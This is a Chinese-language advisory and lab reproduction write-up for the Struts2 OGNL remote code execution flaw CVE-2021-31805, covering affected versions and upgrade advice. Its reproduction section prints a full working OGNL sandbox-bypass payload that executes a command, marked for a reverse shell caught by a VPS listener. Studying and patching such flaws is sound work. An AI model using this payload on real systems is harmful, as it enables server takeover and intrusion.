1、产品简介
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
2、漏洞描述该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。
3、影响范围受影响的版本:
Struts 2.0.0 - Struts 2.5.29
安全版本:
Struts >= 2.5.30
4、漏洞复现复现环境:vulfocus在线靶场Vulfocus 漏洞威胁分析平台
1、访问靶场漏洞环境,利用HackBar插件工具提交POST恶意请求
POC如下:
name=(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'反弹shell指令'})) #注意靶场的参数是name
2、vps提前开启监听,成功反弹shell
5、修复建议通用修补建议
根据影响范围中的信息,排查并升级到安全版本。 安全版本:Version Notes 2.5.30 - Apache Struts 2 Wiki - Apache Software Foundation
临时修补建议
避免对不受信任的用户输入使用强制 OGNL 评估。